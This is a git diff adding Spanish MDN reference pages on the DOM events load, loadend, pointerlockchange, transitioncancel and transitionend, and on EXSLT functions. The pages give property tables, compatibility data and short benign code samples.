+<h3 id="Elemento_script">Elemento <code>script</code></h3>
+
+<pre class="brush: html">&lt;script&gt;
+  var script = document.createElement("script");
+  script.addEventListener("load", function(event) {
+    console.log("Script terminó de cargarse y ejecutarse");
+  });
+  script.src = "http://example.com/example.js";
+  script.async = true;
+  document.getElementsByTagName("script")[0].parentNode.appendChild(script);
+&lt;/script&gt;</pre>
+
+<h2 id="Información_general">Información general</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Especificación</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-load">DOM L3</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Interfaz</dt>
+ <dd style="margin: 0 0 0 120px;">UIEvent</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Propagación</dt>
+ <dd style="margin: 0 0 0 120px;">No</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Cancelable</dt>
+ <dd style="margin: 0 0 0 120px;">No</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Objetivo</dt>
+ <dd style="margin: 0 0 0 120px;">Window,Document,Element</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Por defecto Acción</dt>
+ <dd style="margin: 0 0 0 120px;">None.</dd>
+</dl>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Propiedad</th>
+   <th scope="col">Tipo</th>
+   <th scope="col">Descripción</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td><code>{{domxref("EventTarget")}}</code></td>
+   <td>El objetivo del evento (el objetivo superior en el árbol DOM).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td><code>{{domxref("DOMString")}}</code></td>
+   <td>El tipo de evento.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td><code>{{domxref("Boolean")}}</code></td>
+   <td>Si el elemento normalmente se propaga (bubbles) o no.</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td><code>{{domxref("Boolean")}}</code></td>
+   <td>Si el evento es cancelable o no.</td>
+  </tr>
+  <tr>
+   <td><code>view</code> {{readonlyInline}}</td>
+   <td><code>{{domxref("WindowProxy")}}</code></td>
+   <td><code>{{domxref("Document.defaultView", "document.defaultView")}}</code> (<code>window</code> del documento)</td>
+  </tr>
+  <tr>
+   <td><code>detail</code> {{readonlyInline}}</td>
+   <td><code>long</code> (<code>float</code>)</td>
+   <td>0.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('UI Events', '#event-type-load', 'load')}}</td>
+   <td>{{Spec2('UI Events')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'parsing.html#the-end:event-load', 'Load event')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Esto enlaza con la sección en los pasos que se llevan a cabo al final de cargar un documento. Los eventos 'load' también se disparan a muchos elementos. Y tenga en cuenta que hay muchos lugares en la especificación que hacen referencia a cosas que pueden "<a href="https://html.spec.whatwg.org/multipage/parsing.html#delay-the-load-event">retrasar el evento de carga</a>".</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Eventos_relacionados">Eventos relacionados</h2>
+
+<ul>
+ <li>{{event("DOMContentLoaded")}}</li>
+ <li>{{event("readystatechange")}}</li>
+ <li>{{event("load")}}</li>
+ <li>{{event("beforeunload")}}</li>
+ <li>{{event("unload")}}</li>
+</ul>
diff --git a/files/es/web/events/loadend/index.html b/files/es/web/events/loadend/index.html
new file mode 100644
index 0000000000..39e528634d
--- /dev/null
+++ b/files/es/web/events/loadend/index.html
@@ -0,0 +1,91 @@
+---
+title: loadend
+slug: Web/Events/loadend
+tags:
+  - eventos
+translation_of: Web/API/XMLHttpRequest/loadend_event
+---
+<p>El evento <code>loadend</code> es emitido cuando el progreso de la carga de un recurso se ha detenido (e.g. despues que "error", "abort", o "load" han sido emitidos). Por ejemplo, esto aplica a las llamadas de {{domxref("XMLHttpRequest")}}, y al contenido de un elemento {{htmlelement("img")}} o {{htmlelement("video")}}.</p>
+
+<h2 id="Información_General">Información General</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Especificación</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.w3.org/TR/progress-events/">Progress</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Interfaz</dt>
+ <dd style="margin: 0 0 0 120px;">ProgressEvent</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Bubbles</dt>
+ <dd style="margin: 0 0 0 120px;">No</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Cancelable</dt>
+ <dd style="margin: 0 0 0 120px;">No</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Target</dt>
+ <dd style="margin: 0 0 0 120px;">{{domxref("HTMLImageElement")}}, Por Ejemplo</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Acción por Defecto</dt>
+ <dd style="margin: 0 0 0 120px;">None</dd>
+</dl>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td>{{domxref("EventTarget")}}</td>
+   <td>The event target (the topmost target in the DOM tree).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>The type of event.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event normally bubbles or not.</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event is cancellable or not.</td>
+  </tr>
+  <tr>
+   <td><code>lengthComputable </code>{{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Specifies whether or not the total size of the transfer is known. Read only.</td>
+  </tr>
+  <tr>
+   <td><code>loaded</code> {{readonlyInline}}</td>
+   <td>unsigned long (long)</td>
+   <td>The number of bytes transferred since the beginning of the operation. This doesn't include headers and other overhead, but only the content itself. Read only.</td>
+  </tr>
+  <tr>
+   <td><code>total</code> {{readonlyInline}}</td>
+   <td>unsigned long (long)</td>
+   <td>The total number of bytes of content that will be transferred during the operation. If the total size is unknown, this value is zero. Read only.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Eventos_Relacionados">Eventos Relacionados</h2>
+
+<ul>
+ <li>{{event("loadstart")}}</li>
+ <li>{{event("progress")}}</li>
+ <li>{{event("error")}}</li>
+ <li>{{event("abort")}}</li>
+ <li>{{event("load")}}</li>
+ <li>{{event("loadend")}}</li>
+</ul>
+
+<h2 id="Ver_También">Ver También</h2>
+
+<ul>
+ <li><a href="/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest#Monitoring_progress" title="/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest">Monitoreando progreso</a></li>
+</ul>
diff --git a/files/es/web/events/pointerlockchange/index.html b/files/es/web/events/pointerlockchange/index.html
new file mode 100644
index 0000000000..2d5af4205b
--- /dev/null
+++ b/files/es/web/events/pointerlockchange/index.html
@@ -0,0 +1,80 @@
+---
+title: pointerlockchange
+slug: Web/Events/pointerlockchange
+translation_of: Web/API/Document/pointerlockchange_event
+---
+<p>El evento <code>pointerlockchange</code> es disparado cuando el cursor del navegador es bloqueado o desbloqueado.</p>
+
+<h2 id="Información_general">Información general</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Specification</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.w3.org/TR/pointerlock/#pointerlockchange-and-pointerlockerror-events">Pointer Lock</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Interface</dt>
+ <dd style="margin: 0 0 0 120px;">Event</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Bubbles</dt>
+ <dd style="margin: 0 0 0 120px;">Yes</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Cancelable</dt>
+ <dd style="margin: 0 0 0 120px;">No</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Target</dt>
+ <dd style="margin: 0 0 0 120px;">Document</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Default Action</dt>
+ <dd style="margin: 0 0 0 120px;">None</dd>
+</dl>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td>{{domxref("EventTarget")}}</td>
+   <td>The event target (the topmost target in the DOM tree).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>The type of event.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event normally bubbles or not.</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event is cancellable or not.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<pre class="brush:js;">//Ten en cuenta que el nombre del evento, en este caso "pointerlockchange" puede variar según el navegador.
+document.addEventListener("pointerlockchange", function( event ) {
+    // El objetivo, parámetro "target", del objeto "event" es siempre el objeto "document".
+    // para recuperar el objeto que recibe el bloqueo/desbloqueo es document.pointerlockElement.
+    document.pointerLockElement;
+
+});
+</pre>
+
+<h2 id="Eventos_relacionados">Eventos relacionados</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla_event_reference/pointerlockerror"><code>pointerlockerror</code></a></li>
+</ul>
+
+<h2 id="Véase_también">Véase también:</h2>
+
+<ul>
+ <li><a href="/en-US/docs/API/Pointer_Lock_API">Using Pointer Lock API</a></li>
+</ul>
diff --git a/files/es/web/events/transitioncancel/index.html b/files/es/web/events/transitioncancel/index.html
new file mode 100644
index 0000000000..3f9c622bd2
--- /dev/null
+++ b/files/es/web/events/transitioncancel/index.html
@@ -0,0 +1,163 @@
+---
+title: transitioncancel
+slug: Web/Events/transitioncancel
+tags:
+  - DOM
+  - Evento
+  - Referencia
+  - eventos
+translation_of: Web/API/HTMLElement/transitioncancel_event
+---
+<p>{{SeeCompatTable}}</p>
+
+<p>El evento <code>transitioncancel</code> es lanzado cuando una <a href="/en-US/docs/CSS/Using_CSS_transitions">transición CSS</a> es cancelada.</p>
+
+<p>Véase {{domxref("GlobalEventHandlers.ontransitioncancel")}} para mas información y ejemplos.</p>
+
+<h2 id="Información_general">Información general</h2>
+
+<dl>
+ <dt>Interfaz</dt>
+ <dd>{{domxref("TransitionEvent")}}</dd>
+ <dt>Burbuja</dt>
+ <dd>Sí</dd>
+ <dt>Cancelable</dt>
+ <dd>No</dd>
+ <dt>Objetivo</dt>
+ <dd>{{domxref("document")}}, {{domxref("element")}}</dd>
+ <dt>Acción por defecto</dt>
+ <dd>Ninguna</dd>
+</dl>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Propiedad</th>
+   <th scope="col">Tipo</th>
+   <th scope="col">Descripción</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyinline}}</td>
+   <td>{{domxref("EventTarget")}}</td>
+   <td>El objetivo del evento (the topmost target in the DOM tree).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyinline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>El tipo de evento.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyinline}}</td>
+   <td>{{domxref("Boolean")}}</td>
+   <td>Si el evento normalmente se propaga o no</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyinline}}</td>
+   <td>{{domxref("Boolean")}}</td>
+   <td>Si el evento es cancelable o no</td>
+  </tr>
+  <tr>
+   <td><code>propertyName</code>{{readonlyinline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>El nombre de la propiedad CSS asociada con la transición.</td>
+  </tr>
+  <tr>
+   <td><code>elapsedTime</code>{{readonlyinline}}</td>
+   <td>{{domxref("Float")}}</td>
+   <td>
+    <p>La cantidad de tiempo que ha durado la transición, en segundos, desde el momento en que el evento fué generado. Este valor no se ve afectado por el valor de <code>transition-delay</code>.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>pseudoElement</code>{{readonlyinline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>
+    <p>El nombre (empezando con dos "dos puntos") del pseudo-elemento CSS en el que ha ocurrido la transición (en caso de que el objetivo del evento sea dicho pseudo-elemento correspondiente al elemento), o una cadena vacía si la transición ha ocurrido en un elemento (lo que quiere decir que el objetivo del evento es dicho elemento).</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Transitions', '#transitioncancel', 'transitioncancel')}}</td>
+   <td>{{Spec2('CSS3 Transitions')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop(53)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p> </p>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile(53)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li>El manejador {{domxref("GlobalEventHandlers.ontransitioncancel")}}</li>
+ <li>La interfaz {{domxref("TransitionEvent")}}</li>
+ <li>{{event("transitionstart")}}, {{event("transitionend")}}</li>
+ <li>Propiedades CSS: {{cssxref("transition")}}, {{cssxref("transition-delay")}}, {{cssxref("transition-duration")}}, {{cssxref("transition-property")}}, {{cssxref("transition-timing-function")}}.</li>
+</ul>
diff --git a/files/es/web/events/transitionend/index.html b/files/es/web/events/transitionend/index.html
new file mode 100644
index 0000000000..8370f0e39e
--- /dev/null
+++ b/files/es/web/events/transitionend/index.html
@@ -0,0 +1,183 @@
+---
+title: transitionend
+slug: Web/Events/transitionend
+tags:
+  - DOM
+  - Event
+  - Referencia
+  - Transiciones CSS
+  - Transiciones CSS3
+  - TransitionEvent
+  - transitionend
+translation_of: Web/API/HTMLElement/transitionend_event
+---
+<p>El evento <code>transitionend</code> es lanzado cuando una <a href="/en-US/docs/CSS/Using_CSS_transitions">transición CSS</a> se ha completado. Si la transición es eliminada antes de haberse completado, como cuando {{cssxref("transition-property")}} es eliminado o {{cssxref("display")}} se establece a <code>"none"</code>, entonces el evento no será generado.</p>
+
+<h2 id="Información_general">Información general</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Especificación</dt>
+ <dd style="margin: 0 0 0 120px;">{{SpecName("CSS3 Transitions")}}</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Interfaz</dt>
+ <dd style="margin: 0 0 0 120px;">{{domxref("TransitionEvent")}}</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Burbuja</dt>
+ <dd style="margin: 0 0 0 120px;">Sí</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Cancelable</dt>
+ <dd style="margin: 0 0 0 120px;">Sí</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Objetivo</dt>
+ <dd style="margin: 0 0 0 120px;">{{domxref("Element")}}, {{domxref("Document")}}, {{domxref("Window")}}</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Acción</dt>
+ <dd style="margin: 0 0 0 120px;">undefined</dd>
+</dl>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td>{{domxref("EventTarget")}}</td>
+   <td>The event target (the topmost target in the DOM tree).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>The type of event.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event normally bubbles or not.</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event is cancellable or not.</td>
+  </tr>
+  <tr>
+   <td><code>propertyName</code> {{readonlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>The name of the CSS property associated with the transition.</td>
+  </tr>
+  <tr>
+   <td><code>elapsedTime</code> {{readonlyInline}}</td>
+   <td>Float</td>
+   <td>The amount of time the transition has been running, in seconds, as of the time the event was generated. This value is not affected by the value of <code>transition-delay</code>.</td>
+  </tr>
+  <tr>
+   <td><code>pseudoElement</code> {{readonlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>The name (beginning with two colons) of the CSS pseudo-element on which the transition occured (in which case the target of the event is that pseudo-element's corresponding element), or the empty string if the transition occurred on an element (which means the target of the event is that element).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p>Este ejemplo establece un manejador de evento para detectar el evento <code>transitionend</code>, y así cambiar el texto que se muestra dentro del elemento cuando la transición se completa.</p>
+
+<pre class="brush: js">let element = document.getElementById("slidingMenu");
+element.addEventListener("transitionend", function(event) {
+  element.innerHTML = "Done!";
+}, false);
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Transitions", "#transitionend", "transitionend")}}</td>
+   <td>{{Spec2('CSS3 Transitions')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>1.0<sup>[1]</sup><br>
+    36</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>10</td>
+   <td>10.5<sup>[2]</sup><br>
+    12<br>
+    12.10<br>
+    23</td>
+   <td>3.2<sup>[1]</sup><br>
+    7.0.6</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>2.1</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("2.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>10<sup>[2]</sup><br>
+    12<br>
+    12.10</td>
+   <td>3.2<sup>[1]</sup></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Implementado en Chrome 1.0, Android 2.1 y WebKit 3.2 como <code>webkitTransitionEnd</code>. Chrome 36 y WebKit 7.0.6 usan el estándar <code>transitionend</code>.</p>
+
+<p>[2] Implementado como <code>oTransitionEnd</code> desde Opera 10.5, como <code>otransitionend</code> desde la versión 12 y como el estándar <code>transitionend</code> desde la versión 12.10.</p>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<p>La interfaz {{domxref("TransitionEvent")}}</p>
+
+<ul>
+ <li>{{event("transitionstart")}}, {{event("transitioncancel")}}</li>
+ <li>Propiedades CSS: {{cssxref("transition")}}, {{cssxref("transition-delay")}}, {{cssxref("transition-duration")}}, {{cssxref("transition-property")}}, {{cssxref("transition-timing-function")}}.</li>
+</ul>
diff --git a/files/es/web/exslt/exsl/index.html b/files/es/web/exslt/exsl/index.html
new file mode 100644
index 0000000000..9ddddaebc7
--- /dev/null
+++ b/files/es/web/exslt/exsl/index.html
@@ -0,0 +1,6 @@
+---
+title: exsl
+slug: Web/EXSLT/exsl
+translation_of: Web/EXSLT/exsl
+---
+<p>{{wiki.localize('System.API.page-generated-for-subpage')}}</p>
diff --git a/files/es/web/exslt/exsl/node-set/index.html b/files/es/web/exslt/exsl/node-set/index.html
new file mode 100644
index 0000000000..8d3a7c7888
--- /dev/null
+++ b/files/es/web/exslt/exsl/node-set/index.html
@@ -0,0 +1,39 @@
+---
+title: node-set
+slug: Web/EXSLT/exsl/node-set
+tags:
+  - EXSLT
+  - Todas_las_Categorías
+  - XSLT
+translation_of: Web/EXSLT/exsl/node-set
+---
+<p>{{XsltRef}}{{ Fx_minversion_header(3) }}</p>
+
+<p><br>
+ <code>exsl:node-set()</code> devuelve un conjunto de nodos (node-set) de un fragmento de árbol resultante, que es lo que obtienes cuando miras en <code>xsl:variable</code> en vez de su atributo select para seleccionar el valor de la variable. Esto te permite procesar XML creado dentro de una variable en vez de procesarlo en múltiples pasos.</p>
+
+<p>Puedes usar también <code>exsl:node-set()</code> para transformar cadenas en nodos de texto.</p>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
+<pre class="eval">exsl:node-set(<em>objeto</em>)
+</pre>
+
+<h3 id="Argumentos" name="Argumentos">Argumentos</h3>
+
+<dl>
+ <dt><code><em>objeto</em></code></dt>
+ <dd>El objeto para el que se devuelve el correspondiente conjunto de nodos (node-set).</dd>
+</dl>
+
+<h3 id="Devuelve" name="Devuelve">Devuelve</h3>
+
+<p>El cojunto de nodos (node-set) correspondiente al <code><em>objeto</em></code> espedificado.</p>
+
+<h3 id="Definido_en" name="Definido_en">Definido en</h3>
+
+<p><a class="external" href="http://www.exslt.org/exsl/functions/node-set/index.html">EXSLT - EXSL:NODE-SET</a></p>
+
+<h3 id="Implementaci.C3.B3n_de_Gecko" name="Implementaci.C3.B3n_de_Gecko">Implementación de Gecko</h3>
+
+<p>Implementado de Gecko 1.9 y posteriores.</p>
diff --git a/files/es/web/exslt/exsl/object-type/index.html b/files/es/web/exslt/exsl/object-type/index.html
new file mode 100644
index 0000000000..cee6212510
--- /dev/null
+++ b/files/es/web/exslt/exsl/object-type/index.html
@@ -0,0 +1,50 @@
+---
+title: object-type
+slug: Web/EXSLT/exsl/object-type
+tags:
+  - EXSLT
+  - Todas_las_Categorías
+  - XSLT
+translation_of: Web/EXSLT/exsl/object-type
+---
+<p>{{ XsltRef() }} {{ Fx_minversion_header(3) }}</p>
+
+<p><br>
+ <code>exsl:object-type()</code> devuelve una cadena que indica el tipo del objeto especificado.</p>
+
+<div class="note">
+<p><strong>Nota:</strong> La mayoría de tipos de objetos <a href='\"es/XSLT\"'>XSLT</a> pueden ser convertidos en otros con seguridad; sin embargo, ciertas conversiones pueden aumentar las condiciones de error. En particular, el tratamiento de algo que no sea un conjunto de nodos (node-set) como un conjunto de nodos lo haría así. Esta función permite que los autores de plantillas con nombre y funciones de extensión proporcionen fácilmente flexibilidad en los valores de los parámetros.</p>
+</div>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
+<pre class="eval">exsl:object-type(<em>objeto</em>)
+</pre>
+
+<h3 id="Argumentos" name="Argumentos">Argumentos</h3>
+
+<dl>
+ <dt><code><em>objeto</em></code></dt>
+ <dd>El objeto cuyo tipo va a ser devuelto.</dd>
+</dl>
+
+<h3 id="Devuelve" name="Devuelve">Devuelve</h3>
+
+<p>El tipo del objeto, que será uno de los siguientes:</p>
+
+<ul>
+ <li><code>string</code></li>
+ <li><code>number</code></li>
+ <li><code>boolean</code></li>
+ <li><code>node-set</code></li>
+ <li><code>RTF</code></li>
+ <li><code>external</code></li>
+</ul>
+
+<h3 id="Definido_en" name="Definido_en">Definido en</h3>
+
+<p><a class="external" href="http://www.exslt.org/exsl/functions/object-type/index.html">EXSLT - EXSL:OBJECT-TYPE</a></p>
+
+<h3 id="Implementaci.C3.B3n_de_Gecko" name="Implementaci.C3.B3n_de_Gecko">Implementación de Gecko</h3>
+
+<p>Implementado en Gecko 1.9 y posteriores.</p>
diff --git a/files/es/web/exslt/index.html b/files/es/web/exslt/index.html
new file mode 100644
index 0000000000..5f674a5f84
--- /dev/null
+++ b/files/es/web/exslt/index.html
@@ -0,0 +1,110 @@
+---
+title: EXSLT
+slug: Web/EXSLT
+tags:
+  - EXSLT
+  - Todas_las_Categorías
+  - XSLT
+translation_of: Web/EXSLT
+---
+<p>{{XsltRef}}{{ Fx_minversion_header(3) }} EXSLT es un conjunto de extensiones de <a href="es/XSLT">XSLT</a>. Existen varios módulos; aquellos que están implementados por Firefox se listan a continuación:</p>
+
+<dl>
+ <dt><a href="#Common">Common</a> (<code>exsl</code>)</dt>
+ <dd>Proporciona elementos y funciones de extensión básicas.</dd>
+ <dt><a href="#Math">Math</a> (<code>math</code>)</dt>
+ <dd>Proporciona rutinas para la comparación de nodos.</dd>
+ <dt><a href="#Regular_expressions">Regular expressions</a> (<code>regexp</code>)</dt>
+ <dd>Proporciona facilidades para usar expresiones regulares en sintaxis de JavaScript.</dd>
+ <dt><a href="#Sets">Sets</a> (<code>set</code>)</dt>
+ <dd>Proporciona rutinas para la manipulación de sets.</dd>
+ <dt><a href="#Strings">Strings</a> (<code>str</code>)</dt>
+ <dd>Proporciona funciones para la manipulación de cadenas.</dd>
+</dl>
+
+<h3 id="Uso_de_EXSLT" name="Uso_de_EXSLT">Uso de EXSLT</h3>
+
+<p>Para usar una extensión de EXSLT, necesitas declarar su espacio de nombres como una extensión de espacio de nombres en tu hoja de estilo. Por ejemplo, para utilizar el paquete de expresiones regulares:</p>
+
+<pre class="eval">&lt;xsl:stylesheet version="1.0"
+                xmlns:xsl="<a class="external" href="http://www.w3.org/1999/XSL/Transform" rel="freelink">http://www.w3.org/1999/XSL/Transform</a>"
+                xmlns:regexp="<a class="external" href="http://exslt.org/regular-expressions" rel="freelink">http://exslt.org/regular-expressions</a>"
+                extension-element-prefixes="regexp"&gt;
+
+&lt;xsl:import href="regexp.xsl" /&gt;
+
+...
+
+&lt;/xsl:stylesheet&gt;
+</pre>
+
+<h3 id="Common" name="Common">Common</h3>
+
+<p>El paquete Common de EXSLT proporciona funciones básicas que incrementan las capacidades de XSLT. El espacio de nombres de Common es <code><span class="nowiki">http://exslt.org/common</span></code>.</p>
+
+<h4 id="Funciones" name="Funciones">Funciones</h4>
+
+<ul>
+ <li><a href="es/EXSLT/exsl/node-set">exsl:node-set</a></li>
+ <li><a href="es/EXSLT/exsl/object-type">exsl:object-type</a></li>
+</ul>
+
+<h3 id="Math" name="Math">Math</h3>
+
+<p>El paquete Math de EXSLT proporciona funciones para el trabajo con valores numéricos y la comparación de nodos. El espacio de nombres del paquete Math es <code><span class="nowiki">http://exslt.org/math</span></code>.</p>
+
+<h4 id="Funciones_2" name="Funciones_2">Funciones</h4>
+
+<ul>
+ <li><a href="es/EXSLT/math/highest">math:highest</a></li>
+ <li><a href="es/EXSLT/math/lowest">math:lowest</a></li>
+ <li><a href="es/EXSLT/math/max">math:max</a></li>
+ <li><a href="es/EXSLT/math/min">math:min</a></li>
+</ul>
+
+<h3 id="Regular_Expressions" name="Regular_Expressions">Regular Expressions</h3>
+
